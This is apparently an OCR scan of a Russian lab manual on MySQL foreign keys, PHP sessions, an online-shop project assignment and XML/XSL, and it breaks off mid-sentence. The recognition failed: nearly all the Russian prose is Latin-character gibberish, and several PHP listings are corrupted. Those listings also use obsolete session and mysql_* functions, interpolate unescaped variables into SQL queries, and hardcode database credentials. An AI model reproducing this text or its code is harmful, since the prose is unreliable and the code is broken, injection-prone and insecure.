O 1id int(11) HeT Her AUTO_INCREMENT 7 WamennTe @ YAanmTe (5] 0630p yHUKankbHeIX 3Ha4YeHWA w Ewé

[] 2 title text  utf8_general ci HeT Her &7 ViamennTe @ YoanuTe =] 0630p yHUKaNLHLIX 3HaYeHWi w EWg

[] 3 body text utfg_general_ci HeT Hert & NamenuTe @ YaanuTk [E] 0630p yHUKanbHbIX 3HaYeHun v Ewé

[J 4 description text  utf8_general ci HeT Het & Viamernte @ YaanmTs || 0630p yHUKabHEIX 3Ha4eHnn W Ewé

[J 5 keywords text utf8_general_ci HeT Het & VamerunTe @ YaanuTs [ 0630p yHUKaNbHBIX 3HaYeHU W Ewé

[J 6 part_id int(11) HeT Hert & VamernTe @ YaanuTs || 0630p yHUKabHEIX 3HaYeHNn W Ewé

[ 7 url text utf8_general_ci HeT Her & ViamennTte @ YoanuTe [ 0630p yHWKasbHBIX 3Ha4eHWn w EWw g

[ 8 date date HeT Hetr & ViamennTe @ YaoanuTe (7] 0630p yHUKanLHLIX 3HaYeHUA w Eulé
1 OTmeTwTh BCe / CHATE BuifeneHUe C oTMeYeHHbIMY:  [F] O630p & W3menuTs @ Yaanute > MNepBUYHBI U YHUKanbHbI 7] WHaekc

&) Bepcus gnsa nevaTw E@ B& AHanus cTpykTypbl Tabnnusl @

Fc JobaeuTe |1 none(r) ® B koHey Tabnuusl O B Havano Tabnuyst O Mocne | id | OK

Tenepb A JOCTYIIHBIX nojeu (a JOCTYIIHBI TOJIBKO IIPOMHACKCHUPOBAHH

bI€ T10JI5)

BBIOMpPAEM CBSA3b C BHEIIHUMHU TAOIHMIIAMU U JEHCTBUS IPU U3MEHEHUH 3anuceil B Tabaunax:

“field_

TCCTOB

| 063op ¥ CrpykTtypa | L[ SQL , Mouck ¥t BctaBuTh | |+ IkcnopT =+ UMnopT 4° Onepauumn % Tpurrepw
Ceasu

Cronbey OrpaHu4eHue BHeluHero kso4a (INNODB)
id -
title WHpekc He onpegenet!
body VIHpekc He onpegeneH!
description ViHgekc He onpegenet!

keywords WHpekc He onpegenen!

partid oumiony parts . id. i~|| ONDELETE RESTRICT || ON UPDATE | RESTRICT |

url ‘symfony’. content’.’id"

date ‘symfony .’ content’. part_id"

¢ " menus’.id’
menus_elements’.'id"
elements’.'menu_id"

‘symfony’."
“symfony’."

Yepes SQL-3ampoc:

CoxpaHuTs

ALTER TABLE “table_name’ ADD FOREIGN KEY (
in_table_name_which_need_connect’ JREFERENCES “outer_table_to_connect’
(Couter_field) ON DELETE RESTRICT ON UPDATERESTRICT ;

3aganue 2:
[Toctpouts pusuueckyto cxemy B/I.

Co3nath CKpUIT JJ1s1 TOAKIIOUEHUS M CO3JJaHUs OJTHOM U3 TabMuIl, a TakKe T00aBIeHUS

BIX 3aICel B TAOJIHILY.

Co3nate cTpaHuily W pPhp-ckpunT Ui BBINIOJIHEHUS OJHOTO U3 JICUCTBUH B
COOTBETCTBUHU C HOMEPOM BapHaHTa (peaqu30BaTh MOKHO 3TO HA OJIHOM CTpaHUIE):

— no0aBlieHHs] HOBOM 3aMycH B TaOIUILY;

— PpeIaKTUPOBAHMUSI 3aITUCHU B TAOTUIIE;

—  YJQJICHUS 3aIUCH U3 TaOIUIIBI.

— JlonoJHUTENBHOE 3aJJlaHUE:

— co3pgaiTe 6a3y gaHHBIX «[loMMKIMHUKAY, COCTOAIIYIO U3 2-3 TaOuIL;
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OpraHu3yWTe CBSI3U Mexay Tabnuiamu bJI;
3aIoJIHUTE TaOJIUIBI HH(OPMAIHEH;
0TOOpa3uTe JaHHbIE TAOJINIIBI HA CTPAHULIE;
OCYIIECTBUTE BHIOOPKY NaHHBIX U3 B/I.

Bormpocks! k 3amuTe 1a60paTopHOIl paboThI

obmme ceenenus o SQL;

CTaHJAPTHYIO MOAJIEPKKY 0a3 naHubix B PHP;
BBOJIHYIO HH(opMarmio o cepsepe MySQL,;
crangaptable pynkiun PHP gis pa6otsr ¢ MySQL;
peaM3alrio MPOCTEUIIIEN TOUCKOBOM CUCTEMBI;
COpPTUPOBKY Ta0JIULL;

obmue ceenenus 00 ODBC;

crangaptasie ¢pyaknun PHP mis padotst ¢ ODBC;
B3aumonencrsue ¢ Microsoft Access 8 PHP;
XpaHCHHE MOJIb30BATEIIbCKHUX JTAHHBIX Ha WeD-cafiTe.



4. JlabopatopHas padora «OTciie;KuBaHMe CeaHCOB (session)»

Lenp paboThl: W3y4YEHHWE TEXHOJOTHH U TONYYCHHE TPAKTUYECKHX HABBIKOB
OTCJI)KUBAHUS CEaHCa TOIb30BaTEIIs.

Teoperndeckue cBEICHHUS

Ceancom (Session) Ha3bIBaeTCsl MEPUOJl BPEMEHH, KOTOPBI HAYMHACTCS C MOMEHTA
NpHUXoJa TOJh30BaTENsl HA CAWT M 3aBeplIacTcs, KOrjaa TOJb30BaTeNb MOKHIAeT cait. B
TEYCHHE CEaHCa YacTO BO3HHMKAECT HEOOXOJAMMOCTh B COXPAHCHHUU PA3JIMYHBIX MEPEMEHHBIX,
KOTOpBIE OBl «COMPOBOXKJAIM» TOJIB30BATENSI MPH MEPEMENICHUAX Ha caifte, 9ToObl BaM He
MPUXOIWIOCH BPYYHYIO KOJUPOBATh MHOTOYHCIICHHBIC CKPBITHIC IOJIS HIIM TIEPEMCHHBIC,
npucoeauasembie k URL.

[Ipy BXome Ha CalT MOJL30BATEIIO MPHUCBAMBACTCS YHUKAIBHBIH HIACHTU(UKATOP
ceanca (SID), xoTopwlii cOXpaHseTCs Ha KOMIIbIOTEpE IOJb30BaTelss B COOKie ¢ uMeHeM
PHPSESSJD. Ecmu wucnons3oBanue COOKie 3amperieHo wid COOKie BooOme He
noanepxkuBatotcs, SID aBTomatnuecku npucoeAuHseTcss Ko BceM JokanbHbiM URL Ha
MPOTSDKEHUU ceaHca. B To jke BpeMst Ha cepBepe coXpaHseTcs (aiiil, UMl KOTOPOTO COBITaaeT
c SID. Ilo mepe TOro Kak TOJB30BATEIh IMEPEMEMIACTCS IO CalTy, 3HAYCHUS HEKOTOPBIX
MapaMeTpoB JIOJDKHBI COXPAHATHCSI B BHJC CEAHCOBBIX IICPEMEHHBIX. JTH IEPEMCHHBIC
coxpaHsarOTcs B (aile monp3oBarens. [lpu mocnenyromeMm oOpalieHUd K CEaHCOBOM
MIEPEMEHHON CEepBEp OTKPBIBAECT CEAHCOBBIM (Daiiyl Monb30BaTEIs] M WIIET B HEM HYXHYIO
nepeMeHHy. B cylmHOCTH, B 3TOM W 3aKII0YaeTCs CyTh OTCIS)KHBaHUs ceaHca. KoHedHO,
WHpOPMAIIHSI ¢ TAKUM K€ YCIIEXOM MOYKET XPaHUTHCS B 0a3e JaHHBIX WIH B IPYTOM daiiie.

Paccmotpum mporiecc oTcriexuBaHus ceaHca Oonee moapoOHo. IlepBoe - ceanc
UHHUIUUpYETCs: PyHKIMer session_start( ).

Oynknus session_start( ) umeer nBoiiHOe Ha3HaueHue. CHavaga OHA MPOBEPSET, HAYAI
JU TOJb30BaTENb HOBBIM CEaHC, U €cld HeT — HauyuHaeT ero. CHHTAaKCUC (QYHKIUU
session_start( ):

boolean session_start()

Eciu ¢yHKIMS HaYMHAET HOBBIM CEaHC, OHA BBHIMOJHICT TPU OICPAIMU: HAa3HAYCHUE
nons3oBaTento SID, ornpaBky COOKie u co3manue (aitna ceanca Ha cepepe. Bropoe
Ha3HaueHue (PYHKIHMM 3aKI04aeTcs B TOM, yTo oHa uHpopmupyet siagpo PHP o Bo3moxkHOCTH
WCITIOJIb30BAHMS B CIICHAPUH, B KOTOPOM OHa ObllIa BBI3BaHA, CCAHCOBBIX TICPEMCHHBIX.

Ecmu ceanc MOXXHO co31aTh, 3HAYUT, €r0 MOXKHO W YHHYTOXHTH. JTO JEINAETCS
dbyukuueii session_destroy().

Oynknus  session_start( ) Bos3Bpamaer TRUE He3zaBucumMo oT  pesynbrara.
CrenoBatenbHO, IPOBEPSITH e B ycinoBusx If wim B komane die( ) 6eccMbICIIEHHO.

boolean session_destroy( )

[Tpumep Hcmonb30BaHus GYHKIIHUH:

<?

session_start( );

// BBIOJTHUTH HEKOTOPBIE ACHCTBHUS /IS TEKYIIETO ceaHca

session_destroy( ):

7>

Teneps Bbl yMeeTe YHUUTOKATh CEAHCHI, U MBI MOKEM TIEPEHTH K pab0oTe ¢ CEaHCOBBIMH
nepeMeHHbIMU. Bo3MOXHO, camoi BaKHOM ceaHcOoBOM mepemeHHOW sBisgerca SID
(uneHTUUKATOp ceaHca). Ero jerko Mo)KHO MOXYYUTh MpH oMoty GpyHKIwH Session_id( ).

session_id()

Oyukius  session_id( ) Bosspamraer SID g ceanca, co3gaHHOrO —(DYHKIIUCH
session_start( ). Cuntakcuc ¢pynkuuu session_id():



string session_id ([string sfd])

Ecmu B HeoOs3aTenbHOM THapameTpe mnepenaercs uaeHtudukarop, To 3Hauenue SID
TEKyIIero ceanca u3Mmensercs. OHAKO ClIeAyeT yYUThIBaTh, 4To COOKie mpu 3TOM 3aHOBO He
nepecpuiatorcs. [Ipumep:

<?

session_start()

print "Unentudukarop ceccuu =" . sessionjd( ):

session_destroy( ):

?>

Pe3ynbTaT, BHIBOAMMBIN B Opay3epe, BHITJISAUT IPUMEPHO TaK:

Wnentudukarop ceccun = 067d992a949114ee9832flcllcafc640

CeancoBas iepeMeHHas CO3/1aeTCsl ¢ TOMOIIbI0 GyHKIMU Session_register( ).

session_register( )

Oyukius  Session_register( ) perucTpupyer HMEHAa OJHOW MM  HECKOJIBKHX
MepeMEHHBIX JUTsl TeKyIero ceanca. CHHTaKCcUC GyHKIMU Session_register( ):

boolean session_register (mixed ums_nepemennoiil [, mixed ums_nepemenHoi2... ])

CrnenyeTr MOMHHTB, YTO PETUCTPUPYIOTCS HE NIEPEMEHHBIE, a UX UMeHa. Eciu ceanc He
cymiecTByeT, (GyHKmms Session_register( ) Taxke HesSBHO BbI3bIBacT Session start( ) s
CO3J]aHUsI HOBOT'O CEaHCa.

[IpoBeputh 3apeructpupoBaHa Jid TEPEeMEHHass B CECCUM MOXHO (PyHKIUEH
session_is_registered(). session_is_registered( )

Yacto TpeOyeTcss ompenenuTb, ObUla JIM paHee 3aperucTpupoBaHa MEpPEeMEHHAsl C
3aJaHHBIM HMMEHEM. 3ajadya pemaeTcss mpu momornu (GyHKIMM Session_is_registered( ),
AMEIONIEN CIEAYIONIMNA CUHTAKCUC!

boolean session_is_registered (string ums_nepeMeHHOI)

[Tpumenenune ¢yakuii  session_register( ) wu  session_is_registered( ) Oynxer
MPOJICMOHCTPUPOBAHO HAa KJIACCHYECKOM IMPUMEpPE MCIOJIb30BaHUSI CEAHCOBBIX MEPEMEHHBIX
— CYETYHMKE MOCEIICHNUN (JIUCTHHT 1).

Jluctunr 1. CueTuuk MOCEIIeHH caiiTa oJib30BaTeIeM

<?

session_start( ):

If (! sessionjs_registered('hits')) :

session_register( 'hits') ;

endif ;

$hits++:

print "You've seen this page $hits times.

?>

CeaHCOBBIC IEPEMECHHBIC YAAISIOTCS puMeHeHreM QyHKIuu Session_unregister( ).

session_unregister( )

Hwxe npuBeneH ee CHHTaKCHUC:

boolean session_unregister (string ums_nepemMeHHOi1')

[Ipu BbI30BE (YHKIMH MEpPEaeTCsl UMl CEaHCOBOM NMEPEMEHHOI, KOTOPYIO BbI XOTHUTE
YHUYTOXHUTh.

<?

session_start()

session_register(‘username’);

I/ ictiosnip30BaTh miepeMeHHyro $username.

// Koraa nepeMeHHasi CTAHOBUTCSI HEHYKHOM - YHHUTOXHTS €.

session_unregister(‘username’);

session_destroy();
7>



Kak u B cirydae ¢ pyHkimeid Session_register ykaspiaercsi He cama, a UMsi IEPeMEHHOM.

session_encode( )

Oyukius  session_encode( ) obecreyrBaeT Ype3BBHIYAHHO YIOOHYIO BO3MOYKHOCTh
(bopMaTUPOBAHUST CEAHCOBBIX TMEPEMEHHBIX Ui XpaHEeHus (Hampumep, B 0a3e TaHHBIX).
Cuntakcuc pynkuuu session_encode( ):

boolean session_encode( )

B pesynbraTe BBIMOJHEHHS 3TOH (YHKIMM BCE CCAHCOBBIC MaHHBIC (HOPMATUPYIOTCS B
OJTHY JUTMHHYIO CTPOKY, KOTOPYIO MOXHO COXPaHUTh B 0a3e JaHHBIX.

[Mpumep ucnons3zoBanus Session_encode( ) mpuBeneH B ymctuare 2. [Ipenmonoxum,
YTO Ha KOMIIBIOTEPE «3apETHCTPHPOBAHHOIO» IOJIb30BATEIsl MMeeTcsi COOKie, B KOTOpOM
XPAHUTCS YHUKAIBHBIH HMICHTH(GHUKATOpP 93TOro moJsib3oBateias. Korma mosb3oBarenb
3alpanBaeT CTpaHuIly, coaepxantyro auctunr 2, UID uuTtaercs u3 CooKie u mpucBamBaeTcs
uACHTU(UKATOPY ceaHca. MBI co3/1aeM HECKOJIBKO CEaHCOBBIX MEPEMEHHBIX U MPHUCBAMBACM
UM 3Ha4YCHHs, Tocie vero gopmarupyeM Bcro uHbpopmarmio (GyHKimei session_encode( ) u
3aHOCUM B 0a3y manaeix MySQL.

Jluctunr 2. Mcnonws3oBanue (yHkimu Session_encode( ) s coxpaHEHUs JaHHBIX B
6a3e manabix MySQL

<?

/| UTHHOMUpOBAaTh CEaHC U CO3/IaTh CCAHCOBBIC TIEPEMEHHBIC

session_register('bgcolor’);

session_register(‘fontcolor’);

/I Tlpemnomaraercsi, uro mepemenHas $usr_id (¢ yHUKaIbHBIM HICHTH(PHKATOPOM
MIOJIH30BATENIs ) XpaHUTCS B COOKie

// Ha KOMITBIOTEPE TTOJIH30BATEIISI.

[/ TIpu oMoy Gyukiuu session_id( ) mpucBouTh uaeHTUGHUKATOPY

//ceanca yHUKaNIbHbIN uaeHTHHKaTOp mosib3oBarens (UID), xpausimuiics B COokie.

$id = session_id($usr_id);

/[l 3HaveHus clenyrOIMUX NMEPEMEHHBIX MOTYT 3a/laBaThCs MOJb30BaTelieM Ha (opMme
HTML

$bgcolor = "white"; $fontcolor = "blue";

I/ TIpeoOpa3oBaTh Bce CEaHCOBBIE JaHHBIC B OJIHY CTPOKY

$usr_data = session_encode( );

Il TTonkmountbes k cepBepy MySQL u BbiOpaTh 0a3y JaHHBIX USErS

@mysqgl_pconnect(*localhost”, "root”, ™) or die("Could not connect to MySQL
server!");

@mysql_select_db("users™) or die("Could not select user database!");

// OOHOBHTH MOJIB30BATEIBCKUE MAPAMETPBI CTPAHHUIIBI

$query = "UPDATE user_info set page_data="$usr_data’ WHERE user_id="$id";

$result - mysqgl_query($query) or die("Could not update user information!");

?>

Kak BuaHO, OBICTpOE MpeoOpa3oBaHME BCEX CEAHCOBBIX MEPEMEHHBIX B OJHY CTPOKY
n30aBJIsIeT OT HEOOXOAMMOCTH CO3/1aBaTh HECKOJBKO MOJICH JJIsi XpaHCHHS/3arPy3KH JTaHHBIX,
a TaKk)Ke HECKOJIbKO YMEHBINACT 00bEM IPOTrPaMMBbI.

session_decode( )

Bce ceancoBbie naHHBIC, paHee MpeoOpa3oBaHHBIC B CTPOKY QyHKIUEH Session_encode(
), BoccTaHaBiuBatoTcs Gpynkuuei session_decode( ). Cunrakcuc:

string session_decode (string ceancoBbie JTaHHBIC)

B mnapamerpe ceaHcOBbIE JaHHBIC TepeaacTcs MpeoOpa3oBaHHAs CTPOKA CEaHCOBBIX
MEPEMEHHBIX, BO3MOXKHO — MPOYMTAaHHAs W3 ¢ailia win 3arpykeHHas W3 0a3bl JaHHBIX.
CTpoka BOCCTaHABIMBACTCS, U BCE CEAHCOBBIC IMEPEMEHHBIC B CTPOKE MPeoOpasyroTcs K
UCXOTHOMY (hopMmary.



B nuctunre 3 mpoeMOHCTPHPOBAHO BOCCTAHOBIICHHE 3aKOJWPOBAHHBIX CEAHCOBBIX
nepeMeHHbIX QyHkiuei session_decode( ).

[Tpeanonoxum, Tadauia MySQL ¢ umenem user_info cocrout u3 aByx mosei: user_id
u page_data. ITonb3oBatensckuit UID, xpansiuiics B COOKIE Ha KOMITbIOTEpPE MOJIb30BATEII,
MIPUMEHSETCS IS 3arpy3KH CCaHCOBBIX JaHHBIX, XpaHAIIMXCS B moJie page_data. B atom mose
XPaHUTCS 3aKOTUPOBAHHAS CTPOKA MEPEMEHHBIX, OJ[HA U3 KoTophix ($bgcolor) cogepxut nBet
(hoHa, BEIOpaHHBIN MTOTB30BATEIICM.

Jluctuar 4. BoccTaHOBIICHHE CEaHCOBBIX JAHHBIX, XpaHIIMMXCs B 6a3e qanasix MySQL

<?

/I Tlpemnonaraercsi, uro mepeMeHHas $usr_id (¢ yHUKaJIbHBIM HICHTUPHUKATOPOM
M0JIb30BaTENIs) XPaHUTCS B COOKie

// Ha KOMITBIOTEPE MOJIH30BATEIIS.

$id = session_id($usr_id);

Il TTopkmountbes k cepBepy MySQL u BbiOpaTh 6a3y JaHHBIX USErsS

@mysq]_pconnect(*"localhost", "web", "4tf9zzzf") or die("Could not connect to MySQL
server!");

@mysql_select_db("users") or die("Could not select company database!");

/] Beiopath manubie u3 Tabausr MySQL

$query = "SELECT page_data FROM user_info WHERE user_id="$id"™,

$result = mysql_query($query);

$user_data = mysql_result($result, 0, "page_data");

// BoccTaHOBUTH TaHHBIC

session_decode($user_data):

// BeiBeCTH OJIHY M3 BOCCTAHOBJICHHBIX CEAHCOBBIX MEPEMEHHBIX

print "BGCOLOR: $hgcolor";

7>

Kak BuHIHO ©3 JABYX MpPHBEICHHBIX JHCTUHIOB, QyHKIMH Session_encode() wu
session_decode() obOecnieunBaroT O4YeHb yNOOHBIC M 3()PEKTHBHBIC COXPAHEHUE W 3arpy3Ky
CCAHCOBBIX JIAHHBIX.

3ananue:

MonudunmpoBaTs pe3ynbTaThl JabopaTopHO paboThl No5S myrtem poOaBieHHS
BO3MOKHOCTH (POPMHPOBAHMSI KOP3UHBI TOBapOB. IJis 3TOro HE0OXOJMMO HAIIPOTUB KaXKI0TO
TOBapa YCTAHOBUTH KHOIKY (CChUIKY) «/]00aBuUTh B KOp3uHY». [IpeaycMOTpeTh BO3MOKHOCTh
MPOCMOTpa KOP3WHBI U ee Moaudukanuu (1o0aBieHue, yaajieHue ToBapoB). OCyIIECTBIATh
KOHTPOJIb HaJl KOJIMYECTBOM KaX<JIOTO TOBapa B KOP3WHE HE0OS3aTeIbHO.

Bormpocs! k 3amuTe 1a00paTOpHOI pabOThI

1. Yem omimnuarorcst cookieoTsession?

2. OCHOBHBIC OTpaHUUCHISI, HAKJIabIBACMbIc Ha COOKie?

3. Cnioco0 co3nanus yHUKaNbHBIX HeHTU(ukaTopos B PHP?

3. Ha3znauenue monb30BaTeabCKUX (DYHKIUH TSI XpaHEHUS! CEaHCOBBIX TaHHBIX ?

5. JlabopaTopHas padora «Co3nanne npoexkta « MHTepHET Marasmm»»

Lenb: GpopmynupoBKa 1eneld 1 KOHIENINA CEeTeBOro On3Heca, BEIOOP MOETH CETEBOTO
Ou3Heca, OLIEHKa 11€J1€cO000pa3HOCTH NIPOEKTa, CO3/1aHHE caiiTa IMpoeKTa.

3ananue. BoinoaHuTh 1 0opMuUTh onucanue MHTEpHET-poeKTa JUlsl Balllero BapuaHTa
3a1aHKs B COOTBETCTBUH C IUIAHOM, IIPEACTABICHHBIM HUXKE.



1. Bun 6usneca.

VYkazaTh K KAKOMY BHy CETEBOTO OM3HECA OTHOCUTCS MPOEKT.

2. Bp100op 11€711 ¥ KOHIIETIIIUU CETEBOTr0 OM3HECa

VYka3aThb BapMaHT HMHTErpallud B OW3HEC-TIPOLIECCHl KOMIAHUU U COOTBETCTBYIOIIHE
nenb M KOHLENIUIO, a TaKkKe HCTOYHMKM J0X010B WHTepHeT-mpoekTa (oauH U3 4-x
BAapUAHTOB):

Nudopmanronnas noauepkka CynecTBYIOIIET0 HEAJIEKTPOHHOTO OU3Heca.

Opranuzanuss npoaax dyepe3 VHTepHET TOBapoB WM YCIYr CYIIECTBYIOLIETO
HEIEKTPOHHOTr0 On3Heca.

Coznanue MHTepHET-KOMIAHUM, peaIu3yIollel TOoBaphl W YCIYTH HCKIIOYUTEIHHO
yepe3 UHTepHeT.

Pexnamuas monens.

3. BeiOop monenu ceTeBoro 6m3Heca.

B 3aBucumoct OT TOro, KTO OyJIeT KIMEHTOM KOMIIAaHWH, yKa3aTh K KaKOW MoJeiu
CETEBOro OM3HECA OTHOCUTCSA MPOEKT:

B2B (business-to-business) — 6usnec ans OusHeca;

B2C (business-to-consumer) — OuW3HEC, OpPHCHTHUPOBAHHBIH Ha KOHEYHOTO
(hU3UYIECKOTO MTOTPEOUTENS;

C2C (consumer-to-consumer) — Owu3Hec, 00eCIeUYNBAIONIUN B3aUMOICHCTBHE MEXKITY
0O0JIBIIMM KOJIMYECTBOM (PU3UUECKUX MOTpEeOUTENEH;

C2B (consumer-to-business) — cucreMbl 00paOOTKH IIEHOBBIX 3asBOK, MO KOTOPHIM
NOTpeOUTENN XOTEIN Obl MPUOOPECTH TOBAPHI U YCIIYTH;

B2A (business-to-administration) — Owu3Hec, ONEPUPYIOMIUN CACTKAMH MEKIY
YaCTHBIMU KOMIIAHUSIMU U TIPABUTEIIbCTBEHHBIMU OpPTaHU3AIUsIMU (aIMHUHHUCTpAIUE);

C2A (consumer-to-administration) — Ou3Hec, NOCTPOSHHBIH Ha OpraHU3aIUH
B3aMMOOTHOILIEHUH (PU3UUECKHX JIUI] U TOCYAAPCTBEHHBIX CITYKO.

Kpome Toro, cymiectByeT emie LENbld psia 3K30THYECKUX MOJEJIEH, CBSI3aHHBIX C
BUJaMH OW3HECa, TOCTPOCHHBIMH Ha B3aMMOJICHCTBUAX Ou3Hec-mpaBuTelibeTBO (B2G),
npaButenbcTBO-rpaxaane (G2C), npaBurenbcrBo-mpaButebeTBo (G2G) U T. 1., KOTOpBIC HE
OyAayT [najee paccMaTpuUBaThbCs, KaK HE HMEIOIIME Il POCCHMCKOTO HWHTEPHET-PhIHKA
OLLYTUMOI'O NMPAaKTUYECKOTO 3HAYEHUS.

4. BrIOOp CTPYKTYpHI KOMIIAaHUH.

B cootBercTBHM ¢ BBIOpAaHHON MOJENbIO CETEBOro OW3HEca OmucaTb CTPYKTYpY
KOMIIaHUH.

5. OrneHka KU3HECIOCOOHOCTH OU3HEC-UEH.

B cootBeTcTBUM ¢ BRIOpaHHOW MOJIENBIO CeTeBOro OusHeca, a st B2B monenu, emie u
B COOTBETCTBUM C BBIOpaHHOW KOHULENUMEeH Ou3Heca OLEHUTE Ie1ecO00pa3HOCTh HJEU
co3nanusa MHTepHeT-npoexra.

6. Ctpykrypa Web-caiita.

Beinonaute onucanue ctpykrypsl Web-caiira.

7. Co3nanue riaaBHoM cTpanuilsl Web-caiita.

Co3nate miaBHyto ctpanuily Web-cailita u3BecTHBIMH BaM cpeacTBamu CO3TaHMS
HTML-nokymentoB. Ilpu mnoaroroBke rinaBHO# crpanuibl Web-caiita 03HaKOMbTECH B
WNuTepHer ¢ opraHusaiueil cailToB aHAJOTMYHBIX BHMJIOB OM3HECa M HCIOJIB3YHTE OIBIT
HanboJiee yJauHbIX PEeIICHUH.

Bapuants! 3ananuit

1. VnrepHeT-Mara3ud Juisi pO3HUYHON mpofaku KHUT. Dupma yxe HMEeT KHUKHBIN

MarasuH, peajau3yroni KHUTH TPaJAULIMOHHBIM CIIOCOOOM B PO3HHILY.

2. VHTepHeT-mMara3uH i BHOBH CO3/1aBaeMOW  (UPMBI 1O ONTOBOW  MPOJaXKe

MEAMIIMHCKOTO 000pYI0BaHUS NMPEANPUATHAM, OKA3bIBAIOIIUM MEIUIIUHCKHUE YCITYTH.

3. KoprmopatuBHbI# CaliT 1151 N3BECTHOW (PUPMBI.



4. KOHTEHT-NPOEKT N0 TYPUCTUUYECKOH TEME.

5. PeknaMHOe areHTCcTBO

6. HduzaitH-cTyaus

7. VIHTepHeT-OMpxa MO OKA3aHUIO JIOTHCTUYECKUX YCIYT IOPUANYECKUM JIULIAM.

8. AykiuoH

9. Karamor TOBapoB u yciayr

10. KoHcynbTaliMoOHHBIE YCIYTH AJs FOPUAMYECKUX JHIl B oOactu UT

11. luctanimonHoe oOpa3zoBaHue

12. UndopMaimoHHbIe YCIYTH MO TPEJOCTABICHUIO JOCTYIA K yIaJICHHBIM 0a3aM JaHHBIX
U DJIEKTPOHHBIM apXHBaM.

13.lupopmanimoHHble  ycIyrd 1O MPOBEACHUIO HCCIEAOBAHMM U  TMOJATOTOBKE
aHAJTUTHYECKUX OTYETOB I10 3aKa3y KIMEHTA.

14 nTepHeT-TpeAUHT, TO3BOJISIIONIMNA KJIMEHTaM paboTaTh uyepe3 MHTepHeT Ha
HEKOTOPBIX Oupkax (MMBB, MOb u 1p.) u Ha peiHKe FOrex.

15. luTepHeT-Ka3uHo.

16. Ycnyru xoctunra MHTEpHET-IpOBaiiAepa.

17.BHOBB co3naBaemblii MIHTepHET-Mara3ud Mo mpojaake KOMITbIOTEPOB U MPOTPaMMHOTO
oOecrevyeHus YaCTHBIM JIUIaM.

6. JlabopaTopHas padora «CocraBienue cxem XML -10KyMeHTOB»

Lens: o3nakomutbest ¢ XML, Hayuutbes pa3zbuparb cTpykrypy XML-nmokymenTa;
o3HakoMuThCsl ¢ XSL, ¢ momompro XSL HayuuThCsl BHIMONHATH mpeoOpazoBanue XML-
JOKyMeHTa ¢ OfHON cTpykTypoit B XML-1OKyMeHT ¢ Apyroit CTpyKTypoi, B 4acCTHOCTH, B
HTML.

Xox paboThI:

1. I3yuuTh TEOPETUUECKYIO YACTh

2. BBINOJHUTS 33/1aHUSI B COOTBETCTBUU C YKa3aHUSAMU

3. OTBETUTH HA KOHTPOJIbHBIE BOIIPOCHI

4. [IpeabsBUTH NpeENoaaBaTelto pe3yiabTaTbl pa0OTHI: MPOEKT U UCXOIHBIN KO

5. OGopMHTH OTUYET B COOTBETCTBHH C XOJ0M PabOTHI

&TeopeTnueckas 4acThb:

XML (Extensible Markup Language) - 3To sI3bIK pa3METKH, OMHCHIBAIOIIUI bl
KJlacc OOBEKTOB JaHHBIX, Ha3biBaeMbix XML- mokymeHTamu. DTOT S3BIK HCIONB3YETCS B
KayecTBe CpeACTBAa Ui OINUCaHWs TIpaMMAaTUKU JPYTMX S3bIKOB W KOHTpOJSA 3a
MPaBUIILHOCTBIO COCTaBJIEHUs NOKyMeHTOB. T.e. cam mo cebe XML He comepUT HUKAKHUX
TATOB, MIPEIHa3HAUYCHHBIX JIJISl pa3METKH, OH IIPOCTO OMpeAeseT NOPAI0K UX CO3TaHUs.

Cam mpouecc co3ganus XML nokymeHTa o4eHb HPOCT M TpeOyeT OT HAac JIMIIb
6a3oBbIx 3HaHU HTML u nonumanus tex 3aga4, KOTOpbIE Mbl XOTUM BBITIOJTHUTh, UCTIONB3YS
XML B kadecTBe s3bIKa pa3MeTKH. TakuMmM o00pa3oM, y pa3paOOTYMKOB TMOSBISETCS
YHHUKaJIbHAsi BO3MOXKHOCTD OTPEJEsATh COOCTBEHHBIE KOMAHIbI, MO3BOJISIONINE UM Hanbosee
3¢ dEKTUBHO OINpenessITh AaHHbIE, COAEpIKAIIUEecs B JOKYMEHTE. ABTOP JTOKYMEHTa CO37acT
€ro CTPYKTYpPY, CTPOUT HEOOXOJMMBIE CBS3M MEX]Y 3JIEMEHTAaMH, UCIOJIb3ys T€ KOMaH/bI,
KOTOpBIE€ YAOBIIETBOPSIIOT €ro TpeOOBaHUSM U JOOMBAETCS TAKOTO THUIA Pa3METKH, KOTOPOe
HEOOXOAMMO €My JJIsl BBIIOJIHEHUS ONlepaluii pOCMOTpa, TIOMCKa, aHATN3a JOKYMEHTA.

XML no3BoJisieT OCyUIECTBISITh KOHTPOJIb 32 KOPPEKTHOCTBIO JaHHBIX, XPAHSIIINXCS B
JOKYMEHTax, MPOU3BOAUTH MPOBEPKH HEPAPXUUYECKUX COOTHOIICHHM BHYTPH JOKYMEHTa U
YCTaHABJIMBATh €IMHBINA CTAaHAAPT HA CTPYKTYPY IOKYMEHTOB, COAECPKUMBIM KOTOPBIX MOTYT
OBITh caMble pa3IM4YHbIE JaHHbIE. OJTO O3HA4YaeT, YTO €ro MOXKHO HCIIOJNb30BaTh MpU
MOCTPOCHUH CJIOKHBIX HH(POPMAIMOHHBIX CUCTEM, B KOTOPBIX OUYEHb BaXKHBIM SIBISETCS



BONpoc oOMeHa HHQpOpMaIUel MEeXy Pa3IUIHBIMU MPUIIOKEHUSIMHA, pAa0OTAOIIUMH B OJTHOMN
cucteme. Co3maBasi CTpYKTYpy MexaHn3mMa oOMeHa nH(opMaIui B caMoM Hadayie padoThl HaJ
MIPOEKTOM, MEHEKEp MOXKeT M30aBUTh ce0s B OyAylleM OT MHOTHX MpOOJieM, CBSI3aHHBIX C
HECOBMECTHUMOCTBIO HCIOJB3YyEeMbIX PAa3JIUYHBIMH KOMIIOHEHTAMU CHUCTeMBbI (OpMaTOB
JAHHBIX.

XSL sBisieTcss MEXaHH3MOM, KOTOPBIA MO3BoJIseT npeobOpa3zoBath XML-gokymeHT c
onHOM cTpykTypoit B XML-10KyMeHT ¢ Ipyro# cTpykTypoi, B yacTHOCTH, B HTML.

XSL-moKyMeHT  TpencTaBiseT  pa3HOBUAHOCTH ~ XML-gokymeHTa,  KOTOPBIi
UCTIONIB3YeTCS NIl TMPEACTABJICHUS TPAaBWI, IO KOTOPHIM OyAeT TPOUCXOIUTH
npeobOpaszoBanue. [IpaBuiaa OCHOBaHBI Ha COBMAJEHWU IMAOJIOHOB, T.€., HampuMmep, '"eciu
BCTPETHUIICS DJIEMEHT A, TO BCTaBUTh yKa3aHHBIM Kycouek HTML-koma u mpo1omKuTh MOUCK
coBmnajJeHui mabinoHoB nanpiie". Bece oueHb moxoxe Ha (GYHKIMOHAIBHBIA UIW JTOTUYECKUI
